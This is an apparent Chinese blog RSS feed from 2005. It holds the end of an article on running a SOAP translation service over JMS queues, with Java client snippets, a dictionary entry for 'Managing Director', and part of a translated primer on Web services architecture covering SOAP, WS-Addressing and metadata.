<P xmlns:fo="http://www.w3.org/1999/XSL/Format">SourceText只是重复传递到请求的内容。TranslationText包含转换的文本及其语言的xml:lang指示符。如果请求envelope有问题，从而不可能完成请求，就会返回一个标准的SOAP fault envelope来替代转换结果文档。下面的例子显示的是SOAP fault envelope；如果请求消息带有的TextMessage不是格式规范的XML，那么这个特殊的fault就会被发送回客户端： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;?xml version='1.0' encoding=
	'UTF-8'?&gt;
&lt;soap:Envelope xmlns:soap=
	'http://schemas.xmlsoap.org/
	soap/envelope/'&gt;
	&lt;soap:Body&gt;
		&lt;soap:Fault&gt;
			&lt;faultcode&gt;soap:Client
			&lt;/faultcode&gt;
			&lt;faultstring&gt;Incoming text 
				is not XML&lt;/faultstring&gt;
		&lt;/soap:Fault&gt;
	&lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">通过一个基于JMS的Web service（如AsynchBabelFish），客户端和服务器就不是直接进行交互的了；取而代之的是，SOAP请求可以通过消息队列在客户端和服务器之间进行传递，而不受时间的影响（time-independent）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">现在，让我们看看一个消息是如何从客户端传递到服务器的（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure3.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图3</A>）。客户端创建一个转换请求envelope，并将它放在该服务的请求队列中。服务的所有客户端都可以运用这个众所周知的公用队列，如同基于HTTP的服务运用固定的、众所周知的HTTP端点URL一样。客户端也给请求消息提供了一个reply-to JMS header，它包含一个响应队列的名字，从而让服务知道将响应消息发送到哪里。AsynchBabelFish服务过程是否立即完成同该步骤（将请求放入队列）是无关的。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图3. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig3sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图3. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure3.xml&amp;xslfile=../../include/xsl/Figure.xsl');">请求消息的过程</A></CENTER></TD></TR></TBODY></TABLE>然后，服务从队列得到请求。该步骤可以是在客户端放置请求后立即实现的，也可以在稍后时间完成，取决于服务器什么时候做好准备接收请求。然后服务器处理请求。如果请求在某些方面是无效的——例如，它可能不是一个有效的请求文档，或它可能用了不被支持或无效的语言编码——那么它就会生成一个SOAP fault envelope，其中详细说明出了什么问题。否则，服务就执行转换并生成适当的结果文档。如果在转换过程中出现与请求本身的有效性无关的技术错误，那么请求就保留在队列中，服务定期重试它们。最后，服务器就通过响应队列给客户端返回一个响应消息（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure4.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图4</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>尝试</FONT></B><BR>服务将转换结果文档（或SOAP fault）放在JMS reply-to指定的响应队列中。它包含JMS请求消息的ID，并设置相关的响应消息ID来匹配它，因此客户端就可以根据其意愿进行相应的请求/响应操作了。然后，在需要的时候，客户端就可以从响应队列得到完成的转换结果文档了（或SOAP fault）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图4. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig4sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图4. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure4.xml&amp;xslfile=../../include/xsl/Figure.xsl');">处理响应消息的过程</A></CENTER></TD></TR></TBODY></TABLE>你自己可以尝试调用AsynchBabelFish服务。（要访问AsynchBabelFish的client package和相关的JMS client libraries，请参阅www.xml-mag.com上的在线<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Resources.xml&amp;xslfile=../../include/xsl/Resources.xsl');">资源</A>。）这个包（package）包括客户端源代码、二进制代码和它所依赖的第三方类库（libraries）。要运用这个客户端，你也需要创建一个XMethods帐号并请求你自己的响应队列（XMethods给它的用户提供了一个作为messagebox的响应队列，它是对该服务以及未来引发的异步服务所做的SOAP响应）。客户端下载包所包含的指南对这些步骤的每一步都提供了更详细的说明。Client package中的源程序文件在<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Table1.xml&amp;xslfile=../../include/xsl/Table.xsl');">表1</A>中有简要的说明。 </P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">TranslatorRequestor可以让你创建请求并将它发送到AsynchBabelFish请求队列中（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List2.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表2</A>）。其运行如下所示： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>java asynchBabelFish.
	TranslatorRequestor &lt;username&gt; 
	&lt;password&gt; &lt;text&gt; &lt;fromLanguage&gt; 
	&lt;toLanguage&gt; &lt;responseQueue&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">让我们来看看TranslatorRequestor的一些重点。首先，程序实例化一个到AsynchBabelFish服务队列的JMS连接。然后实例化一个RequestEnvelope对象： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>RequestEnvelope requestEnv=
	new RequestEnvelope(userID,
	password,sourceText,
	sourceLanguage,toLanguage);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">RequestEnvelope对象带有你传递的参数并在内部构造一个SOAP envelope。然后，当你调用它的toString()方法时，它就会以字符串形式给你返回一个相应的转换请求SOAP文档。我们用这个字符串创建一个JMS TextMessage对象： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>TextMessage message=
	queueSession.createTextMessage(
	requestEnv.toString());
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">将响应队列的句柄（handle）添加到消息的JMS reply-to header： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> // Get a handle to the reply-to 
// queue
Queue replyToQueue=queueSession.
	createQueue(replyToQueueName);

// and add it to the reply-to 
// field
message.setJMSReplyTo(
	replyToQueue);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">形成的结果消息就会在控制台打印出来并发送到服务队列。在这个例子中，你可以看到，被调用的TranslatorRequestor程序用了一个我们设置的测试帐号“joe”和一个测试响应队列（testResponseQueue）（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure5.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图5</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图5. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig5sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图5. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure5.xml&amp;xslfile=../../include/xsl/Figure.xsl');">请求转换</A></CENTER></TD></TR></TBODY></TABLE>然后服务器处理消息，返回一个转换结果文档或一个SOAP fault。ReplyProcessor程序负责处理响应消息（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List3.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表3</A>）。在这个例子中，我们用了一个与请求程序不同的程序来处理响应消息，尽管这并不是必需的。ReplyProcessor的调用方式如下所示： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>java asynchBabelFish.
	ReplyProcessor &lt;username&gt; 
	&lt;password&gt; &lt;responseQueue&gt; </PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">程序首先建立一个到命令行参数所指定的响应队列的JMS连接。然后它将自己注册为那个队列的一个listener。在典型的JMS消息传递模式中，传送的消息被反馈到ReplyProcessor 的onMessage()方法。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format"><B><FONT color=#333399>得到有趣的信息</FONT></B><BR>对于进入响应队列的每个新消息，onMessage()都从消息中读取SOAP envelope（以一个TextMessage的形式），然后将来自TextMessage的字符串传递到ResponseEnvelope构造器中： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>ResponseEnvelope response=
	new ResponseEnvelope( 
	((TextMessage)message).
	getText());
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">ResponseEnvelope（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List4.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表4</A>）是个辅助类（helper class），它可以让我们更容易地处理转换结果文档。它的构造器以字符串形式读取SOAP XML，并实例化一个Apache SOAP Envelope对象，它用get()方法处理这个对象来提取有趣的参数（源文本、转换文本等等）。它的toString()方法也可以让你得到SOAP消息的源XML文档。然后响应消息和SOAP文档本身的相关ID（correlation ID）就被打印出来了： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>// The correlation ID matches the 
// JMS Message ID of the original 
// request message
System.out.println("\nResponse: 
	JMS Correlation ID = "+message.
	getJMSCorrelationID()+"\n");

// Print out the response SOAP 
// envelope
System.out.println(response);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">最后，从转换结果文档中打印出我们感兴趣的四个参数：源文本、源语言、转换文本和转换语言： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> // And print out a summary of the 
// translation.
System.out.println("\""+response.
	getSourceText()+"\" (
	"+response.getSourceLanguage()
	+") translates to \""+response.
	getTranslationText()+"\"    (
	"+response.
	getTranslationLanguage()
	+")\n\n");;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">如果传送的消息的确产生了一个SOAP fault，而不是一个有效的转换结果文档，那么要实例化ResponseEnvelope就会抛出一个异常，会从SOAP fault中形成错误字符串，并打印出对那个异常的堆栈跟踪（stack trace）（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/List5.xml&amp;xslfile=../../include/xsl/MyList.xsl');">列表5</A>）。当程序对我们先前用TranslatorRequestor发送的请求的响应文档进行处理时，你就可以看到程序的结果（见<A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure6.xml&amp;xslfile=../../include/xsl/Figure.xsl');">图6</A>）。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">
<TABLE align=right>
<TBODY>
<TR>
<TD><IMG alt="&#13;&#10;&#9;&#9;&#9;&#9;图6. " src="http://www.ftponline.com/china/XML/2003_02/FlexibleWS/Image/fig6sm.gif" align=right></IMG></TD></TR>
<TR>
<TD>
<CENTER>图6. <A href="javascript:openWindowRes('XML/2003_02/xml2html.asp?xmlfile=FlexibleWS/Figure6.xml&amp;xslfile=../../include/xsl/Figure.xsl');">处理响应消息</A></CENTER></TD></TR></TBODY></TABLE>RPC机制限制了Web services的有效性。异步消息传递以及它同Web services整合的价值就在于，SOAP和更高级的Web services协议是独立于传输机制（transport-neutral）的；对于分布式计算（distributed computing）来说，没有通用的（one-size-fits-all）方法。JMS提供了可靠的异步传输，这种传输可以与其它受欢迎的SOAP堆栈一起（或隐藏在这些SOAP堆栈下）跨Internet实现。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">不管你选择哪种SOAP客户端类库，你都需要考虑如何运用异步消息传递来在企业内部或跨企业实现有效的数据传输。AsynchBabelFish例子可能并不是你在日常工作中使用或实现的那种服务，但它的确说明了SOAP是如何同JMS整合在一起的。</P><BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><FONT color=#666666 xmlns:fo="http://www.w3.org/1999/XSL/Format"><I>关于作者:</I></FONT><BR xmlns:fo="http://www.w3.org/1999/XSL/Format">David Chappel是Sonic Software的副总和主要技术传播者。他也是Java Web Services (O’Reilly &amp; Associates, 2002)、Professional ebXML Foundations (Wrox, 2001)和The Java Message Service (O’Reilly &amp; Associates, 2000)的合著者。最近，他获得了Java Pro杂志的“Java Community个人杰出贡献奖”（请访问<A href="http://www.sonicsoftware.com/" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">www.sonicsoftware.com</A>）。Tony Hong是Xmethods的合著者，是Web services目录的出版商（请访问<A href="http://www.xmethods.net/" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">www.xmethods.net</A>）。Dave的联系方式是<A href="mailto:chappell@sonicsoftware.com" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">chappell@sonicsoftware.com</A>，Tony的联系方式是<A href="mailto:thong@xmethods.net" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">thong@xmethods.net</A>。<BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><img src ="http://www.blogjava.net/kapok/aggbug/10653.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-22 09:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/22/10653.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>English</title><link>http://www.blogjava.net/kapok/archive/2005/08/18/10418.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 18 Aug 2005 04:55:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/18/10418.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10418.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/18/10418.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10418.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10418.html</trackback:ping><description><![CDATA[<P><FONT face="Futura Hv">Managing Director<BR><BR>1.&nbsp; Australia, New Zealand U.K. Canada person in charge of company: somebody, usually the head of a board of directors, who has administrative control over a large company or other commercial organization&nbsp; <BR>2.&nbsp; U.K. director responsible for day-to-day operations: a member of a board of directors who is responsible for the day-to-day operations of a company&nbsp; </FONT></P>
<P><FONT face="Futura Hv">Microsoft? Encarta? Reference Library 2005. ? 1993-2004 Microsoft Corporation. All rights reserved.</FONT></P><img src ="http://www.blogjava.net/kapok/aggbug/10418.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-18 12:55 <a href="http://www.blogjava.net/kapok/archive/2005/08/18/10418.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web服务架构及其规范入门 </title><link>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 17 Aug 2005 12:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10374.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10374.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10374.html</trackback:ping><description><![CDATA[<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width="99%" border=0>
<TBODY>
<TR>
<TD><SPAN class=oblog_text>
<DIV class=postText>
<P><A href="http://www.54bk.com/blog.asp?subjectid=1715&amp;name=yuexb">http://www.54bk.com/blog.asp?subjectid=1715&amp;name=yuexb</A><BR><BR>作者：Luis Felipe Cabrera、Christopher Kurt、Don Box</P>
<P>&nbsp;&nbsp;&nbsp; <B>[摘要]</B>本Web服务架构入门阐述了Web服务架构的基础设计原则和Web服务的基础技术。此外还对其功能进行了介绍，并提供了对其进行正式定义的规范链接。本文也是该架构所有规范的参考指南。</P>
<H1>XML和Infoset</H1>
<P>&nbsp;&nbsp;&nbsp; 对于所有的消息传递系统来说，选择信息传输单位是非常重要的——简单地说，对消息的构成有个一般的认识是必不可少的。在Web服务中，一条消息就是一个XML文档信息项，它由XML信息集（XML Information Set，即Infoset）定义。Infoset是一个抽象的数据模型，它兼容基于文本的XML 1.0，也是所有最新XML规范（XML Schema、XML Query和XSLT 2.0）的基础。由于Web服务架构是以XML Infoset，而不是某一特定的表现形式为基础，使得该架构及其核心协议组件可与其他编码技术兼容。</P>
<P>&nbsp;&nbsp;&nbsp; Infoset根据一组‘信息项（Information Items）’对XML文档进行建模。这组可能的信息项一般会映射到XML文档的不同功能部件上，如元素、属性、命名空间和注解。每一信息项都有一个关联属性集，用于提供该项的更完整描述。附录B描述了XML文档中的11类信息项。每一个结构严谨的XML文档都会包含一个文档信息项和至少一个元素信息项。</P>
<P>&nbsp;&nbsp;&nbsp; 除了基于纯文本的Infoset编码技术以外，Web服务架构还支持另外一种Infoset编码技术——即允许不透明的二进制数据与传统的基于文本的标记交织在一起。W3C XML-binary Optimized Packaging（即XOP）格式使用多部分MIME将原始二进制数据引入到XML 1.0文档中，而不采用base64编码。其配套规范——SOAP 消息 Transmission Optimization Method，即MTOM，则指定如何将该格式绑定到SOAP。XOP和MTOM是将原始二进制数据与基于文本的XML混合在一起的首选方法，它们取代了目前普遍遭到反对的SOAP with Attachments（SwA）和WS-Attachments/DIME。</P>
<H1>SOAP</H1>
<P>&nbsp;&nbsp;&nbsp; SOAP为在分散的分布式环境中使用XML在同等体之间交换结构化分类信息提供了一种简单的轻量级机制。SOAP旨在最大限度地降低对基于不同平台构建的应用程序进行集成的设计成本，并认为最低成本技术最有可能赢得普遍接受。SOAP消息是包含三个元素的XML文档信息项，这三个元素是：&lt;Envelope&gt;、&lt;Header&gt;和&lt;Body&gt;。</P>
<P>&nbsp;&nbsp;&nbsp; Envelope是SOAP消息的根元素，它包含一个可选的Header元素和一个必需的Body元素。Header元素是以分散方式增加SOAP消息功能的一种通用手法。Header的每个子元素都被称为一个Header块（Header Block），SOAP定义了几个知名的属性来指示应该由谁来处理Header块（role）以及这种处理是可选的还是必需的（mustUnderstand），下文中对这两个属性进行了介绍。目前，Header元素总是Envelope的第一个子元素；Body元素总是Envelope的最后一个子元素，也是供最终消息接收者使用的“有效负载”的容器。SOAP本身没有定义内置的Header块，且只定义了一个有效负载，那就是用于报告错误的Fault元素。</P>
<P>&nbsp;&nbsp;&nbsp; 所有的Web服务消息都是SOAP消息，它们充分利用了XML Infoset。消息有效负载和协议头都使用同一个模型，可以确保基础架构头Header和应用程序体的完整性。应用程序发送消息时可能会同时考虑Header的内容和消息中的数据。为XML数据模型开发的工具可以用于检查和构建完整的消息。过去，这些益处在某些架构中是没有的，如DCOM、CORBA和RMI，它们之中的协议头是一些对应用程序不透明的基础架构细节。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP消息是从发送者向接收者单向传送的。多个单向消息的组合可以形成较为复杂的模式。例如，比较常见的模式是同步请求/响应消息对。发送或接收消息的任何一个软件代理都被称为一个SOAP节点（SOAP Node）。启动消息传输的节点称为原始发送节点。使用和处理消息的最后一个节点称为最终接收节点。在原始发送节点和最终接收节点之间处理消息的任一节点都叫做中介（Intermediary）。中介用于模拟单个消息的分布式处理。消息经过的所有中介节点和最终接收节点统称为消息路径（Message Path.）。</P>
<P>&nbsp;&nbsp;&nbsp; 为了能够识别消息路径的各个部分，每个节点都担任一个或多个角色。SOAP角色是一种分类模式，它将一个基于URI的名称与某些抽象功能（如缓存、验证、授权）关联在一起。基础SOAP规范定义了2个内置角色：Next和UltimateReceiver。Next是一个通用角色，因为除了发送节点之外的每一个SOAP节点都属于Next角色。UltimateReceiver是消息路径中终端节点所扮演的角色。它通常就是应用程序，或在某些情况下是代表该应用程序执行任务的基础架构。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP envelope的Body总是针对最终接收节点。而SOAP header则可以针对中介，也可以针对最终接收节点。为了提供一个安全且版本可控的消息处理模型，SOAP定义了3个属性，用于控制中介和最终接收节点处理某一指定Header块的方式——role、relay和mustUnderstand。角色属性用于确定Header块所针对的节点。mustUnderstand属性用于指示在Header块未被认出的情况下该节点是否可以忽略该Header块。带有mustUnderstand="true"标记的Header块叫做强制Header块（Mandatory Header Block）。标记为mustUnderstand="false"或没有mustUnderstand属性的Header块叫做可选Header块。relay属性指示该节点是发送还是放弃未被认出的可选header。</P>
<P>&nbsp;&nbsp;&nbsp; 每一个SOAP节点都必须使用这3个属性来实现SOAP处理模型。以下步骤详细说明了该模型：</P>
<OL>
<LI>使用角色属性（缺省该属性表示Header块针对最终接收节点）确定将用于当前SOAP节点的SOAP消息的所有Header块。 
<LI>验证当前SOAP节点是否能够使用SOAPmustUnderstand属性来处理步骤1中所确定的所有强制Header块。如果有强制Header块不能被当前SOAP节点处理，则必须丢弃该消息，并生成一条醒目的错误消息。 
<LI>处理消息。可以忽略可选消息元素。 
<LI>如果SOAP节点不是消息的最终接收节点，则步骤1中所确定的所有无法分程传送的Header块都会被删除，然后消息被传送到消息路径中的下一个SOAP节点。下一个SOAP节点可以自由地将新的Header块插入到分程传送的消息中。其中的某些Header块可能是步骤1中所确定的Header块的副本。 </LI></OL>
<P>&nbsp;&nbsp;&nbsp; SOAP处理模型旨在实现可扩展性和版本控制。mustUnderstand属性对新Header块的引入是中断变化还是非中断变化进行控制。添加可选header块（如标记为mustUnderstand="false"的header）是一种非中断变化，因为任何SOAP节点都可自由忽略它。添加强制header块（如标记为mustUnderstand="true"的header）是一种中断变化，因为只有知晓Header块语法和语义的SOAP节点才能够处理SOAP消息。Role、relay以及mustUnderstand属性沿着消息路径传递这种处理模型。</P>
<H2>消息交换模式</H2>
<P>&nbsp;&nbsp;&nbsp; SOAP所提供的消息传递灵活性使Web服务能够以多种消息交换模式进行通信，从而满足分布式应用的需求。我们在该架构的核心构件中充分利用了其中一些模式，有几种模式已经被证明在分布式系统中特别有用，比如使用远程过程调用就使同步请求/响应消息交换模式得到了普及。当消息传送潜伏时间失控时，就需要采用异步消息传递。当使用同步请求/响应模式时，显式消息相关性则成为必需。</P>
<P>&nbsp;&nbsp;&nbsp; 广播传输（Broadcast Transport）使一对多消息传输得到了普及。原始发送者将其消息强行发送给接收者的模式称为推模式（Push Model）。尽管这种模式在局域网里很有效，但在广域网中则不太适用，接收者也无法调控消息流。另一个有用的模式是以应用程序表达对某些特定消息类别的兴趣的能力为基础的，它使发布/订阅模式大行其道。通过显式订阅消息源（或主题），应用程序可以更好地控制相关信息流。接收者从消息源显式请求消息时使用拉模式（Pull Model）。在这种模式下，消息流是由接收者驱动的。拉模式也可以与发布/订阅模式结合使用。这非常适合于接收者可能要与消息源间歇地断开连接的情况。</P>
<H2>传输的独立性</H2>
<P>&nbsp;&nbsp;&nbsp; 根据SOAP的定义，它与所使用的底层消息传递机制无关。它支持很多可用的消息交换传输机制，也支持同步和异步消息传送与处理。既需要多种传输又需要异步消息传递的系统的一个例子是在基于陆地高速网络干线的Web服务与由移动电话托管的间歇连接的Web服务之间进行通信的系统。这样的系统要求一条消息经哪种传输系统传输要以该消息在哪个网段内移动为依据。这样的系统还有一个典型特点，即消息传送潜伏时间无法精确确定。Web服务开发人员不应力图确定或界定消息传送潜伏时间，而应在假定异步消息传递已达到最大效能的前提下构建系统。与使用远程过程调用时的情况不同，异步消息传递允许发送者在每一消息传输之后继续进行处理，而不必被迫阻塞并等待响应。当然，同步请求--响应模式也可以构建在异步消息传递的基础之上。</P>
<P>&nbsp;&nbsp;&nbsp; 既然Web服务协议完全独立于底层传输之外，适当机制的选择可能就要延迟到运行时。这就为Web服务应用程序提供了在发送消息时确定相应传输机制的灵活性。此外，底层传输机制可能会随着消息在节点之间的发送而变化，相应地，针对每一网段而选择的传输机制也会随需发生变化。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管存在着这种一般的传输的独立性，大多数第一代Web服务都使用HTTP来进行通信，因为这是SOAP规范内所包含的一种主要绑定协议。HTTP以TCP作为其底层传输协议。但是，TCP在设计时引入了不必要的处理开销。有些应用协议模式与用户数据报协议（即UDP， User Datagram Protocol）的语义学比较匹配，这些模式对于受设备及其他资源约束的系统特别有用。UDP不像TCP那样具有传输保证；它提供最大限度的数据报消息传递。与TCP相比，它需要的实施资源较少。此外，UDP还提供了多路广播功能（Multi-cast Capabilitiy），使一个发送者可以将消息同时发送给多个接收者。</P>
<H2>寻址</H2>
<P>&nbsp;&nbsp;&nbsp; 对于要在这种多传输情况下发送和寻址的消息来说，要让关键的消息传递属性为多个传输所携带，就需要一种共用机制。为此，WS-Addressing规范定义了3组SOAP Header块：</P>
<UL>
<LI>Action Header块用于说明消息的预期处理。该Header块包含一个URI，最终接收者通常用它来分派要进行处理的消息。 
<LI>MessageID和RelatesTo Header块用于识别和关联消息。MessageID和RelatesTo header使用简单的URI来唯一地识别消息——这些URI通常都是瞬态的UUID。 
<LI>To/ReplyTo/FaultTo Header块用于识别要处理消息及其回复的代理。这些Header依赖于WS-Addressing所定义的称为“端点引用（Endpoint Reference）”的结构，它将与对SOAP消息进行正确寻址所需的信息捆绑在一起。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 端点引用是WS-Addressing的最重要的方面，因为与仅使用URI相比，它们可为更细粒度的寻址提供支持。它们广泛用于整个Web服务架构。端点引用包含3条关键的信息：基地址、可选的引用属性集和引用参数。基地址是一个URI，用于识别端点，出现在指向该端点的每一SOAP消息中的To Header块中。引用属性和引用参数是用于为该消息提供附加发送或处理信息以补充基地址的任意XML元素的集合，它们以文字Header元素来表示。当使用端点引用来构建端点消息时，发送者负责提供作为Header块的所有引用属性和引用参数。</P>
<P>&nbsp;&nbsp;&nbsp; 引用属性和引用参数之间的区别在于它们如何关联服务元数据。Web服务策略和契约仅基于其基地址和引用属性。通常，基地址和引用属性用于识别某一给定的已部署服务，引用参数用于识别该服务所管理的特定资源。</P>
<P>&nbsp;&nbsp;&nbsp; 引用属性和参数是那些预期只被最终接收者处理的简单的不透明XML元素。它们有助于确保可用于分派、发送、索引或其他发送端处理活动的信息被包含在给定的消息中。尽管中介预期不会对该信息进行处理，但某些中介（如防火墙或网关服务程序）却有可能使用某些引用属性或参数来进行消息发送、消息处理。引用属性有很多用途。服务类（Classes of Service）和专用实体标识符（Private Entity Identifier）就是两个例子。在服务等级例子中，引用属性可以用于区分针对标准客户的Web服务和针对“黄金”客户的Web服务，后者提供了更高的服务质量和增强功能——可能是通过附加的操作或附加的绑定——在逻辑上形成两个不同的端点。这些属性只在一个会话中设置一次，然后便在交互的其余所有部分重复使用。引用属性另一个用途的例子是以一种对系统不公开发送消息的方式来识别客户的机制。这两种引用属性的组合可以高效地将消息发送给一组适当的服务器，并高效地确定与某一特定用户有关的应用状态。这些例子还展示了引用服务实例的数据和引用用户实例的数据如何用引用属性来表示。</P>
<P>&nbsp;&nbsp;&nbsp; 需要特别指出的是，引用属性还有助于对共享一个共同的URL和作用域的WSDL实体集合进行寻址。WSDL是将Web服务描述为操作消息的一组端点的XML格式，它首先抽象地指定其实体，然后将其具体地绑定到特定实例。具体而言，消息和操作经抽象定义之后，被绑定到带有网络传输和消息格式信息的一个端点。因此，从WSDL的角度来看，当针对不同的具体实体（如输入或输出消息、portType绑定、端口或Web服务中使用一个共同URL的服务）时，对应端点引用的引用属性应该不同。</P>
<P>&nbsp;&nbsp;&nbsp; 使用引用参数的两个例子是基础架构和应用水平。引用参数的基础架构例子可以是发送给某一事务处理监视器的事务/征募ID（Enlistment ID）。在一个购书的场景中，书的ISBN号可能就是一个引用参数应用水平例子。</P>
<H2>元数据（Metadata）</H2>
<P>&nbsp;&nbsp;&nbsp; 所有的Web服务交互都是通过交换SOAP消息来进行的。为了提供一个健壮的开发和操作环境，服务是用机器可读的元数据来描述的——元数据支持互操作性。Web服务元数据可以服务于若干个意图。它用于描述Web服务支持的消息互换格式和某一服务有效的消息交换模式。元数据还用于描述服务的功能和需求。元数据的最后一种形式叫做“服务策略（Policy of Services.）”。消息互换格式和消息交换模式用WSDL来表示，策略使用WS-Policy来表示，契约（Contract）用上述三种元数据来表示。契约是将应用程序与它们所依赖的服务的内部实现细节隔离开来的抽象。</P>
